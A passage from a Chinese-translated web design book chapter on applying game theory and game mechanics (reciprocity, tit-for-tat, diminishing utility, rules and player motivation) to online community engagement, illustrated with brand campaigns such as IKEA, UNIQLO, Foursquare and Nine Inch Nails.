“预期互惠”的心理学理论也许是利他主义的更科学（并且更悲观）的解释。它指出人们在做好事时预期会收到好的回报。原理很简单：当我为你做事时，我期望你也会为我做事，因此我会对你更友善。不过，需要强调的是：利他主义的社会学理论与互惠的心理学理论不会互相排斥，因为与人类行为相关的大多数事情也是如此。

做好事的数量与预期的回报成正比。因此，如果你期望得到许多更好的回报，那么你做好事的动机也会相应地增加。最明显的示例是Farmville：这里有许多交易和帮助，但是做每一件好事的目的都是为了获利。这种观念对于企业是有用的：一家公司可以通过发放免费赠品和礼物以及降价来确保良好的客户体验和提高满意度，并且预期客户将购买产品或者带来其他的客户（例如，通过“邀请朋友并获得折扣”的方案）。此外，公司还可以通过使互惠明确化，鼓励客户做对其自身有利的事情；例如，为提供有用的反馈信息或者与公司进行有意义的对话的用户提供奖励。
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7.1.4　针锋相对

在这种环境下，游戏理论可以提供有用的思路。游戏理论是数学和社会学的一个分支，其中人们尝试预测冲突中最理性（并且最成功）的行为。通过数学示意图表示冲突，其中包括两位或更多的玩家，他们可以赢得或输掉“游戏”。

“针锋相对”是指游戏中在某些条件下有效的行为类型。考虑一款有两位玩家的游戏，让我们把其中一位玩家称为公司，并把另一位玩家称为用户。该游戏可以玩很多局，并且两位玩家间只保持有限的交流。玩家可以选择进行合作或竞争。如果两位玩家自始至终都在合作，那么他们将会获得可能最佳的结果。问题是，如果一位玩家合作而另一位玩家竞争，那么竞争者将赢得游戏，而合作者将输掉游戏。
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针锋相对

在这种情形下，这恰当地反映了公司与客户的关系。每位玩家的最佳策略是以竞争方式玩游戏，这意味着玩家2将友善地响应玩家1的开始动作。假定客户（即玩家1）通过从玩家2（即公司）那里购买产品以合作的方式开始游戏。如果公司也是以合作的方式玩游戏——即通过交付优秀产品来满足用户的期望——那么一切都将带来非常好的结果，并且两位玩家最终都会感到高兴。但是公司可能通过交付有缺陷的产品使自己处于竞争状态，从而会使客户感到沮丧。

如果针锋相对地玩游戏，那么用户将变成竞争状态并提出申诉，请求更换有缺陷的产品。如果公司没有意识到它是在针锋相对地玩游戏，如果它不能认识到用户的行为是对有缺陷的产品的反应，那么两位玩家可能继续处于竞争状态……一直到走上法庭，这是经常发生的。不过，如果公司通过更换有缺陷的产品而缩短竞争周期，那么客户很可能也转变为合作，并且也许会告诉他们的朋友该公司可以提供良好的客户服务。

这种良好的信任是至关重要的。公司必须认识到，表达怨恨的用户几乎总是具有对它们的产品的失望经历。失望的用户会对坏掉的产品感到生气，如果公司解决了问题，停止竞争周期并开始合作周期，那么他们更有可能仍然是公司的用户。

7.1.5　效用递减

“效用递减”是经济学中的一个理论，表示产品的效用将随着使用而递减。但是数字产品又如何呢？它们不会以普通的实体产品那样的方式被消费，并且可以轻松地复制和转移，以及无限期地使用。

然而，数字商品的效用也会递减。为了理解这一点，可以考虑它们是如何使用的，这可能具有很大的差别。例如，新闻一发布信息就被消费了。显然，新闻报道会随着时间的推移而失去其效用，因为事情的新发展使其失去了价值。
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效用递减

对于曾经风靡一时的“病毒”运动也是如此。从用户的角度讲，它的效用依赖于它的排他性和时效性：用户可以与他们的朋友、同事和粉丝分享链接，从而改进他们的声誉并增加社会资本，但是仅当该运动不会被太多的人看到时才可以这样做。在这种情况下，它的效用会随着日益增多的分发而遭受损失，这会降低它的排他性。

游戏也可能失去它们的效用。某个人玩游戏的主要原因之一是完成其中的挑战性；人类的大脑喜欢解决问题，并通过释放内啡肽来奖励它自己。随着用户的经验增多，游戏的难度将会降低，其效用亦会减弱。这是猜谜游戏、益智游戏及其他单人游戏的固有缺点。诸如国际象棋、纸牌之类的多人游戏以及分布式在线多人游戏没有这种缺点，因为它具有不可预知的元素。在这样的游戏中，每种情形都会引发玩家的不同反应，因此游戏永远也不会重复；相反，它会沿着许多条路径之一演化，允许玩家通过新的挑战和机会获得经验。

每个具有这种多人交互元素的网站都会受益于这种效果。问题是如何以吸引用户并维持他们的兴趣的方式提出挑战。这正好是我们接下来要介绍的内容。


 7.2　为游戏正名

玩游戏不仅仅是为了获得乐趣。在整个历史中，游戏一直被用于促进竞争、教育和培训。因此，在设计它们时总会想到特定的目标。游戏——尤其是电脑游戏——仍然经常被看作是浪费时间。不过，从心理学的角度讲，现代的电脑游戏比传统媒体（如电视机）在认知上的要求要高得多。通过游戏学到的原理和逻辑显示，对游戏的批评态度使我们不能客观地看到它们的价值，即它们可以帮助我们实现业务和设计目标。

7.2.1　世界

对于许多人来说，游戏绝对与在线交互的世界无关。但是Amy Jo Kim（一位关于在线社区这个主题的美国作家和研究者）在两者之间画上了引人注目的等号
(1)

 ，并且确定了玩游戏的五个关键属性，它们是收集、收入、反馈、交换和自定义。研究这些原理，就能够把它们与在线交流和用户交互协调起来，尤其是通过参考成功企业的实践。
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在线交互的“游戏”的关键属性是收集、收入、反馈、交换和自定义

收集是指收集信息、新闻、联系方式、图像或者其他任何有价值的资源。它是一类指标，因此经常被用作一种竞争的工具。它包括从简单的收集到强制性的储藏。集合可以由Facebook上的爱好者、Twitter上的关注者、Delicious上的书签等组成。使网站上的内容可收集是吸引忠实的收集者注意的良好方式，他们可能会为最高的排名而相互竞争。

收入可以以多种方式表明自身水平，从明确的分数、星星和大拇指，到含蓄的赞扬、批准和褒奖。与收集一道，赢得的分数以及对它们进行排名使竞争透明化，从而会使用户产生强烈的参与动机。如果游戏具有足够的吸引力，那么玩家社区内的最高排名可能迅速变成人们激烈争夺的战利品，参与的人将愿意投入许多时间和精力。此外，恰到好处的收入举动自身就可以形成满足感，导致用户产生积极的情感依恋，这反过来又会把用户与品牌关联起来。

反馈是那些利用现代技术和社会型软件确实得到迅猛提升的属性之一。交流渠道从传统的电子邮件、评论和论坛交流变更为更高级的即时反馈。后者给反馈添加了一个新维度，允许玩家给现有的反馈加注释，从而减少公司需要做的工作，并且增加活跃用户的价值。用户越容易给其他用户提供反馈以及与他们交流，他们就会感觉到离公司越近。

交换与收集密切相关，但是发生在更个人的层面上。收集是由某个人为自己完成的，而交换则发生在两个或更多的参与者之间。所有可收集的项目都可以在交换中变成有用的，无论是通过封闭式的利他主义（例如Twitter：“我将通过链接到作者的有用的文章来帮助这位作者和我的粉丝”），还是通过预期互惠（例如Delicious：“我将标记所发现的有用的链接并使它们公开，并且我还将探索由其他用户标记的链接”）。这样，交换还给竞争添加了另一个社会元素。谁没有在年轻时玩过某种交易游戏，收集并交换喜爱的体育卡片、赛车或体育贴纸，以便收集最大或最罕见的收藏品？

最后，自定义是修改用户的项目或个人资料以便个性化体验的过程。用户对他们存在于平台上的依恋越强烈，平台的价值就越高。自定义可以促进使用带有平台的更有意义的标识，以及培养默认体验没有提供的所有权感觉。自定义选项从改变介绍图片这样的琐事（Facebook、Foursquare）到设计自定义的用户界面或界面的元素（MySpace、WordPress、Twitter）会有所变化。这些选项将依赖于目标群体，如果它们太难以操纵，则可能会产生适得其反的效果。

7.2.2　玩家

由于我们把在线交流和用户交互解释为游戏，当然就需要把参与者视作玩家。作为设计师，我们希望最小化用户潜水现象，并且尽可能多地吸引潜在玩家的兴趣。为了触发用户参与，我们需要理解是什么促使他们加入、学习规则并继续玩游戏。Jane McGonigal在她的TED演讲“游戏让这个世界变得更好（Gaming Can Make a Better World）”中，讨论了玩家的一些特征，它们在这里会有一些帮助。根据她的研究，四种主要的特质支撑着普通玩家的行为：无比乐观（urgent optimism）、社交网络（social fabric）、愉悦的生产力（blissful productivity）和史诗般的意义（epic meaning）
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Jane McGonigal所暗示的支撑普通玩家行为的主要特征

无比乐观是指期望立即面对挑战，并且相信有相当好的成功机会。这种心境是一个强大的促进因素。玩家相信他们可以相对较快地获得一种成就感，并且在游戏中了解到他们的全部潜力，而不管他们的知识或经验水平如何。玩家希望他们一碰到地面就立即行动，因此你可以通过在网站上创建一种栩栩如生的“游戏环境”来吸引他们的注意力，这种环境清楚地显示了他们可以参与的玩游戏的关键属性（上面解释过它们）。

一些游戏的目标对于各个玩家来说显得太大以至于凭他们自己将难以实现，对于每一款这样的游戏来说，编织紧密的社交网络的机会将是不可或缺的。玩家们通过合作来实现目标，从而培养相互之间换位思考的能力，这是现代的在线交互的基本特征。主要的社交平台是强大的社交网络的生动表现；甚至当平台改变或消失时，在用户当中加强联系的期望也会与日俱增。

愉悦的生产力指通过艰苦的、有意义的工作实现某个目标所带来的内在快乐。这里的思想是密集、精细和有价值的工作比放松心情更能使我们感到满足。事实上，在我们的整个生命中都经历过这种现象。我们觉得好的东西就是有意义的生产力，并且我们的荷尔蒙也是这样告诉我们的。社交网络上的大量用户生成的内容清楚地指示了这一点，它们证明了大量艰苦并且（通常是）有意义的工作是在线完成的。不要羞于要求你的用户也把一些艰苦的工作投入到你的网站上。提供一个用户可以在其中工作的简单框架，只要工作是有意义的，用户将会感到快乐和喜悦。

最后，史诗般的意义是指上面描述的特征的基本环境。玩家希望对融入一个宏大的故事中，并感到自豪。他们需要一种关于整个体验的目标感——某种非凡的、史诗般的经历，比他们自身更宏大。
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Wowpedia是World of Warcraft爱好者的维基。自从它创建起，在六年的时间里，有超过72000位用户贡献了84000页以上的内容，描述了游戏的虚拟世界。这是愉悦的生产力、艰苦的工作和奉献：http://www.wowpedia.org

一个很好的示例是由MacHeist承担的创新活动，它是一个转售Mac OS X共享软件的网站。MacHeist不仅仅是以用户负担得起的价格销售软件，而且使用大量的偷窃和鬼鬼祟祟行为的语言，但是出于良好的目的。
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MacHeist把用户卷入到一桩虚拟的银行抢劫案中：http://www.macheist.com

这项活动募集了超过200万美元的慈善捐款以及50万美元以上的收入。实质上讲，网站的创建者开放了一块有吸引力的场地，其中半专业的“简介”视频给玩家（或“代理”）提供了关于下一个包裹中将包括哪些应用程序的提示。跨参与的网站散布的“异常现象”（或迷你游戏）可以使代理保持繁忙，以及在包裹发布临近时增加悬念。它是将史诗般的意义的力量与相当简单的服务完美结合的、使人着迷的游戏环境的优秀示例。

对可靠的创新思想应用这四个特征，并且一个简单的游戏环境就可以吸引用户，这将极大的提高参与度。给用户提供足够多的可能性以使他们参与进来；他们时常会很高兴地遵守规则。

7.2.3　规则

游戏是有规则的。规则告诉玩家在游戏中可以做什么，并把他们的努力集中在实现目标上。规则还会阻止作弊，并使玩家确信游戏是公平的。规则也会构筑在线交互就不足为奇了。你为网站设置的规则不仅定义了其上的交互，而且会影响最终会有多少位玩家参与。它还会影响你必须对资源做出的调整，以便支持交互、执行规则和培育社交网络。

显然，你希望参与游戏的门槛尽可能低，但是交互非常深入，足以激励经验丰富的用户并使他们参与进来。用游戏设计的话讲，你希望游戏机制“易于学习、难以精通”。国际象棋（世界上最流行的游戏之一）便很好地体现了这种原则：它的规则简单，人们在几分钟内就可以学会，而无限的玩法则提供了值得享受数十年的乐趣。

另一个重要的原则是平衡。所有的参与者都应该遵守相同的规则并且具有相同的获胜机会。这并不意味着每个新手都应该能够击败每个老手，而是意味着如果有足够的时间并且坚持不懈地学习，那么新手都能够变成老手。一旦玩家察觉到一种不平衡状况，他们可能会退出游戏，并把注意力集中到不平衡状况上，以试图消除它。当玩家发现他们的努力并没有产生明显的优势时就会失去兴趣。

以Twitter为例。你注意到具有许多粉丝并不会增加你的推特的价值了吗？当然，更多的人阅读它们，但是它们本身不会增加价值。如果它们可以增加价值，那么那些骗子就可以通过收买粉丝而拥有不公平的优势。

这种特征可能不是有意而为的，而是服务的基本概念的副产品。如果这种不平衡状况确实存在，那么许多用户很可能会放弃服务，转而支持一种替代方案。

另外两个重要特征是遵守成规和学习术语。Web上甚至最小的社区都具有会员行事准则。一些行为被认为是可接受的，其他行为则不然。一些用户会得到尊重，其他用户则会被忽视。每个社区都有它自己的成规，并且作为游戏的管理员，你必须注意“传统的成规”（由你自己引入的成规类型）和“新兴的成规”（由用户引入的成规类型）。可以通过在游戏的规则中正式地强化这两种成规来支持它们。

成规方面有一个对比例证：Facebook和studiVZ（一家与Facebook类似的德国网站）。在Facebook上，你可以浏览陌生人的个人资料；而在studiVZ上，这在某种程度上被认为是偷窥行为。这种区别是由两家公司使用的技术（也许还有战略）的不同引起的：你的Facebook上不会显示访问你个人资料的陌生人，而studiVZ则会这样做。对于用户来说，成规本身比它底下的技术原因要重要得多。

在诸如神兽、“脑残体”调侃之类的现象中可以看到一些网友熟知的调侃词汇。它们占据了Web的小生境，并且是高度专用的。设计师一定要对它有所了解，想象一下，某个人为一件他们从未见过或使用过的产品设计一个网站；在公司与其用户之间出现误解的可能性将会极大地增加。
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在线交互应该逐渐为经验丰富的用户增加难度，并且示范平衡与公平。规则应该易于学习但难以精通。此外，玩家还应该愿意学习成规和术语

7.2.4　赢得游戏

一旦定义了游戏的机制，问题就是玩家的目标是什么？尽管游戏是为用户设计的，但是假定用户是唯一的玩家将是错误的。公司自身也是玩家，并且具有它自己的目标——通常会确定游戏机制的目标。这里是令人感兴趣的部分：由于公司及其用户都希望在游戏中获得成功，因此他们必须决定是彼此竞争还是相互合作。问题是用户经常具有与公司不同的目标。因此，要确定双方的获胜策略，需要考虑他们各自的目标。

双方可以分享成功的准则。教育与新闻项目可能与客户（他们寻找与其兴趣相关的信息）和公司（它可以洞悉市场并从客户反馈中学习）相关。

双方都会参与在线交流以管理他们的个人或公众形象：对于个人，这称为“印象管理”；对于企业，则称为“公共关系”。此外，两个群体都努力拓宽和深化他们的社会联系：用户是通过增加朋友和联系人，企业则通过召集“粉丝”。

一个值得重点强调的区别是：个人经常把在线交流用于娱乐，这当然不是企业的目标。遗憾的是，公司的所做所为经常会妨碍用户通过在线交互获得满足感。在市场营销中可以看到相同的事情：普通用户会避开过于炫耀的广告和促销，而公司则倾向于希望充分发挥市场营销的潜力。没有哪个用户希望他们喜欢的网站变成一个嘈杂、充斥垃圾信息的市场营销渠道，而市场营销部门将乐于利用游戏的机制，并通过给用户提供可以赢得游戏的宣传优势来维持他们的兴趣。
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公司必须留意自身目标与客户目标之间的区别

显然，由于用户可以自由地退出并表达他们对这种从一次性友好的业务转变成贪婪的、侵入式广告宣传机器的不满，而使得公司采取的任何高压攻势徒劳无功。如果公司采取一些非常不受欢迎的决策，那么玩家——通过社交网络授权和联系起来——将很可能会反抗，也许会要求改变规则。在Digg这个知名的社会新闻网站上正好就发生了这样的事，这发生在其创建者在版本4中引入了根本性的改变之后。Digg在启动之后，不仅访问量急剧下降，而且Digg用户还组织了一个“Quit Digg Day（退出Digg日）”，并且开始宣传由竞争对手Reddit提交到Digg首页上的故事。之后不久，Digg承诺改变它的界面，并恢复了一些旧特性。
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Digg的用户组织了反抗并且宣传由Reddit提交到Digg首页上的故事。来源：http://www.brentcsutoras.com/wp-content/uploads/2010/08/digg-reddit-full.jpg

为了赢得游戏，公司必须认真分析并理解其用户的目标和兴趣。可能最佳的策略是使用户保持高兴、使他们保持亲密关系、有节制地宣传你的产品，以及给用户提供强烈的使用产品的动机。虽然公司默认是玩家，但是必须使用户心悦诚服地加入。因此，要使他们能够轻松地注意和探索游戏以及理解其优势。如果游戏公平可信，具有不可预测的元素并且提供动机，那么长期的参与将是用户的赢家策略。

如果这些条件之一没有得到满足，那么玩家可能失去兴趣并开始潜水，而不是积极参与。他们可能尝试通过在游戏中付出最少量的努力来找出任何优势。这正好是公司不惜一切代价想要避免的状况。那么，什么游戏机制可以保持用户积极参与呢？这时设计师的剧本或者设计策略就派上用场了。


 7.3　剧本和策略

作为一名交互设计师，你有多种职责。你必须基于本章中讨论的概念定义游戏的机制、创建规则以及设计界面；还必须充当双向的解释者：在一个方向上，你要帮助用户接触到他们的客户并使他们保持亲密关系，使他们融入史诗般的故事并提升他们的效率；在另一个方向上，你要教会用户游戏玩法、成规、专有词汇以及你计划构建的环境的细节，使得他们可以根据需求改进机制，并准备必要的资源和流程。为了履行你的职责，你需要一个剧本、一种策略，以及其他项目的最佳实践和示例，其中设计师创建了迷人的游戏体验。
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为了获得封闭式的利他主义的奖励，公司必须把它自己视作玩家，学习规则并加入游戏中

7.3.1　层次1：确保公司对游戏做出承诺

对于初生的游戏环境来说，第一个显而易见但是通常相当困难的步骤是使公司心悦诚服地加入游戏。用户自然倾向于参与，尤其是当网站的设计促使他们这样做时，但是公司通常更不情愿做出长期的承诺。问题是虽然任何用户可以随时轻松地退出游戏，但是公司不能。它冒着激怒其用户的风险（比如说，如果它没有适当地支持或维护游戏，或者没有满足围绕它组建的快速增长的社交网络的需要）。此外，退出游戏将导致会放弃一些它在游戏中时所拥有的特权，这对于公司的声誉和后续策略具有深远的影响。

如果你想要一个繁华的、有吸引力的游戏环境，那么将需要一个鼓励长期参与的强大、稳定的基础。在游戏启动前，公司必须做出两项单独的承诺，其中每项承诺都有它自己的隐含意义。

第一项并且可能是最艰难的承诺是把自己看作玩家。这意味着不仅要与用户一起玩游戏，而且要公平地玩游戏，尽管公司的期望是利用市场营销及其他机会，但是公司创建游戏并建立它的规则因此可以管理游戏流程的简单事实使之成为可能。

第二项承诺是学习正确地玩游戏。这意味着学习机制和如何一致地最大化它们的作用，以及学习玩家的成规和专用词汇。如果公司充分地调整它自己的形象，那么用户将欢迎它参与玩游戏，然后公司将从封闭式利他主义的积极作用中获益。让我们探讨两个品牌，它们理解主动、公平参与的重要性并且遵守它们自己游戏的规则。

1．OTTO

OTTO是一个德国购物网站，其社交网络在2010年的短短几个月间稳步增长了400％以上。它的成功主要是由于敏捷的、令人瞩目的团队促进了Facebook和Twitter上的交流。团队中的每个成员都使用标签名称发布和响应消息。此外，它还通过这些交流渠道提供比赛项目、赠品、折扣、应用程序、游戏等——有时具有排他性。最著名的部分是OTTO欢迎对它的频道发表负面的评论，并且会快速、真诚地对它们做出响应，从而把潜在的竞争周期转变成合作周期，就像任何玩针锋相对游戏的公司所应该做的那样。
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Facebook上的OTTO：http://facebook.com/OTTO

2．Nine Inch Nails

Nine Inch Nails（九打乐队）是一支流行的美国工业金属乐队，在音乐界采取了一些史无前例的步骤。它没有采用传统的路线，即使用主要的音乐标签来宣传和销售它的音乐，而是决定放弃标签，依靠自己销售音乐，并且更接近它的“粉丝”。

乐队的唱片Ghosts I-IV和The Slip都是在Creative Commons下免费发布的，并且提供了多种格式和媒体可供购买，包括价值300美元的“超豪华”限量版包装。300美元包装的全部2500份副本在3天之内销售一空。该乐队结合了三个有利因素：宣传（比如混音大赛），用于促进愉悦的生产力；免费下载，用于鼓励预期互惠；以及自愿定价。这使得它亲密地接近于其受众。其他流行的乐队纷纷仿效，Radiohead就是其中之一，这反过来又加强了Nine Inch Nails的地位。只为“粉丝”启动整个社交网络牢牢地固定了合作周期。
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九打乐队保持与其粉丝的亲密关系，并且在没有主要的音乐标签支持的情况下销售其唱片。它发行的上一张唱片可供免费下载，只要获得Creative Commons许可即可。其下载量超过了140万次：http://www.nin.com

7.3.2　层次2：理解用户的兴趣和目标

第二步通常更费时并且需要实用主义。设计师必须仔细针对公司的目标来权衡用户交互模式，找到使游戏让用户感兴趣而又支持公司的市场营销策略的微妙平衡。搞清楚什么将驱动用户玩游戏并使他们保持参与；为此，必须理解游戏提供的即时好处和动机。

一般性地考虑用户体验。分析用户过去的行为，并检查可以进行比较的网站和应用程序；不要重复已得到解决的错误。收集关于你的目标群体的信息，并确定他们想要实现什么。他们的兴趣和目标是什么？你在帮助他们解决什么问题？他们为什么应该麻烦地访问你的网站而不是另一个网站？

一旦你知道了用户的兴趣和目标，将会知道他们想要利用他们的策略实现什么，然后你就可以以相反的方式工作，创建一种他们可以在其中实现这些目标的环境。把你的设计视作用户在游戏中的交互的支持者、促进因素和不可见的指南。记住玩家将需要什么以赢得游戏，然后仔细地把这些成份分布在整个环境中。

你也要鼓励互惠。你提供的越多，用户给予的回报就越多。你可以给一些玩家提供独有的赠品、内幕提示、有价值的信息、独家内容、娱乐性的附加项目或者其他虚拟的奖励。任何事情都是可能的，它完全依赖于公司的创意、动机和策略。
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确定用户兴趣并支持他们的目标，以便实现互惠和获得可靠的声誉

也不要忘记印象管理。玩家希望证明他们的技能、知识和鲜明的个性。使他们能够凭借努力到达更高的高度。下面介绍了公司开展的两项活动，它们做了预先的准备工作，获悉它们的受众的目标并相应地利用它们的游戏环境。

1．IKEA的Facebook展览室

IKEA（宜家家居）为了庆祝它在马尔默（Malmö）的新商店开业，指示其市场营销部门提出一项活动，它不仅将使潜在的客户参与，还将吸引人们注意马尔默的边界以外的IKEA产品。它决定使用Facebook上的标记功能，把新商店的影集转变成展览室。

团队把包含数十件产品的IKEA样品室的照片上传到Facebook，并且首先标记产品的客户将赢得它。该活动吸引了整个Facebook的兴趣，并且通过简介页面和链接把图片散布给成千上万的人，从而自动把标记产品的人转变成他们的朋友当中的IKEA推销者。
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IKEA使用Facebook上的标记功能把它的新商店的影集转变成展览室

游戏的紧急状态和动机吸引了玩家并获得了必要的动力。显然，最使人上瘾的游戏不一定是最吸引人的游戏。

2．UNIQLO Lucky Switch和Lucky Counter

针对年末的销售旺季，日本时尚品牌UNIQLO策划了一场促销活动，即“Lucky Switch”。设计师创建了一些像即时中奖的彩票那样工作的博客构件。一旦用户“接通”构件（使用浏览器书签），任何网站上的图像都将转换成UNIQLO的即时中奖的票据，丢失票据将返回到横幅广告。“幸运”票据可用于兑换物品，包括返还现金。该活动产生了差不多300万次点击，并且零售额增长了120％。

UNIQLO策划的Lucky Counter活动是具有创造性的游戏机制的另一个示例。用户依据公司网站上的指导发送即时消息，就会接收到关于UNIQLO产品的折扣。参与的客户越多，那一天的折扣就越高。每件产品最终的折扣平均在6折到7折之间。用户通过给他们的粉丝转发消息，使自身变成广告活动的一部分。在这两场活动中，如果公司希望吸引人们注意它的产品，那么在用户当中为获取实质收益（即折扣）而进行合作的意愿是必不可少的。
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在UNIQLO的Lucky Counter活动中，客户通过发送即时消息以换取购物折扣的奖励。参与的用户越多，那一天的折扣就越高：

http://www.uniqlo.com/uk/luckycounter

7.3.3　层次3：维持游戏的动力

一旦理解了用户的目标，下一步就是理解如何获得以及更重要的是维持他们长期的注意力。面对效用递减的现象，你需要通过引入对游戏的动态改变来刺激他们的参与和兴趣。

依据Web应用程序的生命周期来考虑这种演化。可以考虑选择给游戏提供更快的节奏，并利用新的内容、特性、奖励、应用程序、活动、竞赛、独有的赠品等更新它。你能给玩家提供新的挑战和难度级别吗？你能促进多玩家活动吗？你能重新利用以前挑战中的特性并在它们之上布置一个宏大的故事背景以便构建更强大的“游戏关卡”吗？你怎样才能把日益增长的社交网络更紧密地包裹在公司周围？可能发生的最坏的事情是如果大多数玩家失去了兴趣。通过找到这些及相关问题的答案，你将能够维持他们的兴趣并激发热情。
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定期更新游戏以维持用户玩游戏动力

下面介绍了两家公司，它们随时给用户通报情况，并以多种方式使他们参与进来。

1. Google Chrome FastBall

Google为了给人们创造Chrome是最快的浏览器的持久印象而付出的努力是让用户对产品保持热情的优秀示例。除了快速更新和发布之外，Google还定期发布可以展示浏览器功能的演示版（“Chrome Experiments”项目），以及制作迷人的宣传视频和游戏。其中一个游戏是Google Chrome FastBall，玩家引导一个闪光的镀铬球以尽可能最短的时间到达终点线，并且一路上要接受一些挑战。
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Google Chrome FastBall游戏是Google团队用于吸引对其浏览器的注意力的许多特性之一：http://www.youtube.com/chromefastball

2. Old Spice

公司在广告宣传中几乎没有机会重建过时品牌的形象，这通常是由于它所要求的技艺是如此困难。尽管如此，人们仍然喜欢用新瓶装旧酒。同样，Old Spice需要更新，因此它提出了“Man Your Man Could Smell Like”活动。当它证实该活动在最初24小时获得成功时，就发行了一系列额外的视频。团队设法使视频中的人物看起来像是在与数千名发送消息（包括一条求婚消息）的“粉丝”交互，这是通过花数天的时间拍广告实时实现的。该活动在36小时内获得了2300万名观众。Internet上有一小部分人疯狂痴迷于活动，这表明了我们所依赖、维持和投资的动力是什么。
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Old Spice的宣传视频被点击将近1.5亿次

7.3.4　层次4：游戏设计的机制和规则

一旦你仔细考虑了游戏的设置，就应该设计机制并设置参与的规则。你必须创建适合用户的交互模式的规则，并且足以邀请大量的用户加入。在这个阶段要记住三件事：第一，游戏应该提供强烈的参与动机和明显的优势；第二，规则应该公平、透明、平衡且客观；第三，应该可以快速、轻松地加入。

现在，把这些条件与你在以前的层次上准备的思想和技术结合起来，并检查它们的一致性和漏洞。使用强大的工具，比如评论、奖励和评级。在设计决策中要谨小慎微：例如，在实现评级系统时，要认真考虑是否确实需要同时允许用户正面和负面的评级。用户应该能够收集、获取、交换和自定义什么？你是否提供了足够多的反馈渠道？你是否促进了社交以使得玩家可以邀请其他用户并与他们交流？考虑典型的用户与另一个用户之间的交互背后的动机：他们必须合作以实现共同的目标吗？那个目标是什么？这些成份中哪些将维持游戏的动力以及如何实现这一点？

有无限种方式可用于安排游戏的工具和器械，然而，你具有的器械越多，学习曲线将越陡峭。此外，你还需要考虑规则的每种组合对于公司意味着什么。例如，具有评论系统将给它带来适度的挑战（管理负面评论、突出正面评论等），因此缓慢地开始是一个好主意；总是可以在以后添加更多的特性。把这些工具包围着你的想法，并使用它们来平衡公司的目标和用户的目标。
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利用引人注目的机制创建游戏世界，包括收集、获取、反馈、交换和自定义

定期修订规则，并在游戏的alpha和beta版中测试它们。不断地进行迭代，直至看到事情进展顺利并且参与的人数也在增长为止，这就暗示可以让游戏开始运行了。下面介绍了两款游戏，它们具有有效的机制、强烈的动机和简单的规则。

1. Foursquare

Foursquare给城市人的探索添加了乐趣。通过“登录”到他们访问的位置，用户将接收到分数、徽章、头衔和奖励。用户可以查看其他用户在哪里登录，并且他们可以解锁徽章，并基于他们登录的位置、时间和频率赢得分数。用户可以竞争、交换、收集、获取和提供反馈。此外，事件发生地点还可以因为Foursquare用户的忠诚而给他们提供奖励和特殊的装备。因此，用户登录的频率越高，他们获得的奖励就越多，无论是在线还是脱机均可如此。这是一个具有两种强烈动机的简单游戏的优秀示例：联系朋友与赢得折扣。
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Foursquare全都是关于玩游戏的：竞争、交换、收集、获取和提供反馈。这些优势甚至可以脱机扩展

2. OpenIDEO

OpenIDEO是一个吸收用户的乐观主义、激励、想法和观点以一起解决公共的社会问题的全球性社区。在OpenIDEO的网站上，将定期宣布哪些用户可以开始参与游戏。最初，用户的目标是提出概念以解决特定的挑战。在提交概念之后，将由社区评估他们，挑选出最后的名单，然后进行投票表决。这种众包（crowdsourcing）形式结合了一些玩游戏技术（比如无比乐观和愉悦的生产力），以减少潜水现象并增加交互。
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OpenIDEO.com（最成功的创意智库之一）本质上是社会性的

7.3.5　层次5：扩展和多样化游戏

与任何Web应用程序的情况一样，在游戏发行时设计师的工作通常还没有完成。游戏是一个想象丰富的、不断演化的环境。设计师可以在早期的层次上使事情保持简单，但是由于普通的玩家正在获取经验，因此需要引入新的元素和特性以维持动力，这反过来又会帮助公司实现其目标。此外，如果市场营销团队尝试在游戏中插入广告或宣传，则还需要支配他们。你的工作是支持用户并保护他们的兴趣。

评估反馈并分析最常被请求的特性。这些特性适应游戏的规则吗？它们对于所有的玩家有什么隐含的意义？依赖于游戏，你可能希望允许玩家开发和提交他们自己的成果。使用你可以在层次3上拿出的想法和资源。依赖于受众，你可能希望为某些用户群提供多样化的一些特性，或者用独有的糖果奖励活跃的玩家。

还可以考虑通过迷你游戏或者为游戏增加新挑战吸引用户。寻找出新的想法，但是不要脱离初始设计的轨道。通过给项目团队的所有成员讲解游戏及其演化的成规来提升能力，根据需要降低和增加难度，并且帮助用户逐渐形成强烈的认同感。通过扩展游戏，可以保持它充满活力，并且奖励公司和用户。

不过，一定不要仅仅为了使某些玩家感到高兴就随意添加一些特性和规则。当然，要倾听用户的声音，但是不要丢失对剧本的理解。随着时间的流逝以及一些运气，游戏将会成长、充满人气，并且甚至可能会赢得真正的成功。


 7.4　五条建议

7.4.1　尽管去做

试错法几乎总是优于计划和猜测。要有自信，并从你的错误中学习。也许最重要的是，允许团队中的其他所有人都做相同的事情。

7.4.2　最小-最大化

这是一个出自游戏业界的术语。它是指电子竞技的改进。总是要设法榨取出最后一点性能（包括技术上的和心理上的）。要培养你改进所获得的技能的欲望。下面这种状况在经济学中是不可能出现的，但是在游戏中可以实现：即最小化输入、最大化输出。

[image: ]


既然你已经掌握了剧本中的这些层次，最终的目标就胜利在望了。但是实现它并不是一件很轻松的事

7.4.3　不要放弃

再坚持一下，因为坚持不懈对于成功至关重要，尤其是在像今天的Web这样的社会环境中。那里有太多的“发布后就置之不理”现象。

7.4.4　学习规则

每一个良好的预感都有一个立足点。学习规则，学习基础知识，以及学习科学—然后打破它们，以它们为基础构建游戏并测试它。你将不那么容易受到技术和文化改变的影响，因此规则通常是保持不变的。

7.4.5　少说话，多做事

“少说话，多做事”是一句鼓舞人心的宣言，它最初是在Boing Boing上作为一个特殊的特性提出的。Superbrothers（超级兄弟）是一个独立的游戏开发人员团队，目前正在为iOS设备开发一款角色扮演游戏。它建议“激励、说、做”是实现优秀的游戏的错误顺序，而“激励、做、说”要好得多。即使该宣言针对的是游戏设计，我还是把它转变成处理我的个人和商业事务的方法。

7.4.6　关于作者

“如果你喜欢周围的伙伴并且他们也喜欢你，那么工作将是如此有价值。”

Christoph Kolb（生于1983年）在德国科隆长大，拥有商业心理学的学士学位。他的座右铭是：少说话，多做事！Christoph在广告业内稳步发展，从初级方案和图形设计师一步步晋升到高级概念设计师。2008年，Christoph合作创办了Widget（一家交互设计代理机构），并把他的大部分时间花在办公室里。他还是科隆欧福科技大学的媒体心理学讲师。在闲暇时，他喜欢与他的女朋友呆在一起，创作和欣赏音乐，享受阅读以及参与各类游戏。Christoph重视关于他的作品的各种反馈意见，并且邀请读者给他发送电子邮件，邮件地址是：kolb@widjet.de。



————————————————————


(1)
  参见http:www.youtube.com/watch?v=ihUt-163gZI。


第8章　Web设计和用户行为的心理学


作者：Susan Weinschenk
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你可能听说过下面这个关于大象的故事。

